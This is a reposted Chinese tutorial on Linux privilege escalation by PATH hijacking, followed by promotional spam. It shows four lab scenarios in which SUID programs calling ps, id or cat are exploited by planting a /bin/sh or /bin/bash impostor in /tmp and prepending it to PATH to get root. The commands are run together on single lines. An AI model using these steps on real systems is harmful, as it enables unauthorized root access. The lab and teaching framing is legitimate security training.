黑客的Linux神技能:使用环境变量进行提权

40369d2bd502ac2517dfe99d144164ec.gif

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法 1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

ec6ad808e978558c7a2ad22814140ea0.jpeg

正如你在demo.c文件中看到的,我们正在调用ps命令。

f91c10558d2aa3ae8bd9817b7700dae4.jpeg

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

354383e624a185b21c30c9629d0d7705.jpeg

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

9cba85d191c815005cfc0a98317b4923.jpeg

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script
f44795260382dfdd496586ced97ad1bd.jpeg
Echo命令
cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami
89ad41149caaec7dcd141f86fe04d4b2.jpeg
Copy命令
cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami
3c1f1e2c5861f3e76d973f4761abd38d.jpeg
Symlink命令
ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

1363b277662fd50a19189a6109825dfc.jpeg

方法 2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

47073f561e913e3b356c2162e2cabdd8.jpeg

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

364cd00d4649770033c2b62adec70cf1.jpeg

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2
7d9cb46275fc3868df4d1cd0b02b9ad5.jpeg
Echo命令
cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

3457b98474761a2beedc3fbb77070e1c.jpeg

方法 3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

cefef0900e6438863c56c100d4aa13c4.jpeg

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

47d3cb35de08123b7dacbaf2477414ec.jpeg

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

a7277610e8262a6f94b5b8a0ec040b54.jpeg

Nano**编辑器**
cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

0490923d02f8d5c8b0def66b1bf0e046.png

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

5c51d4cc93a85b699a3d85a10067da09.jpeg

方法 4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

6b140d9202e4c396e4fe4221edee469f.jpeg

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

315a5ad3139dae5470f1ea231ee1f289.jpeg

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite
738680d27a8a8d814cb9190cc6fffbbc.jpeg
Vi编辑器
cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

989ecfa6e5d8b14bdcf388b28f8057cb.png

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

7b83f15bf546983ac9c3d6c8cd4ef865.jpeg

转载自:FreeBuf.COM

来源:http://www.freebuf.com/articles/system/173903.htmlacd79cf14ccf6e66bf22d51936516a6c.jpeg

互联网行业全岗位链技术分享

30位名师在线免费直播

扫描图中二维码

免费听直播课

82c010c7a26bab61d34eb0cdfac3b979.jpeg

如有疑问,速寻小编微信:zdzc3087880280;小编QQ:3535503962。

PS:记得查收小编送你的免费大礼包呦~

福利 | 一万多套PPT模板等你免费来拿!无条件领取!

免费送 | 1000多套简历模板免费拿,附赠简历制作教程!

免费领 | 《Shell脚本 100例》电子书免费拿,运维必备干货~

6dfceeacb7e858733f55187bac2ca4d8.gif

0ffff34dfe2843d39a30e862384de426.jpeg

▼▼点击【阅读原文】,22大互联网热门直播课程任选免费学

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值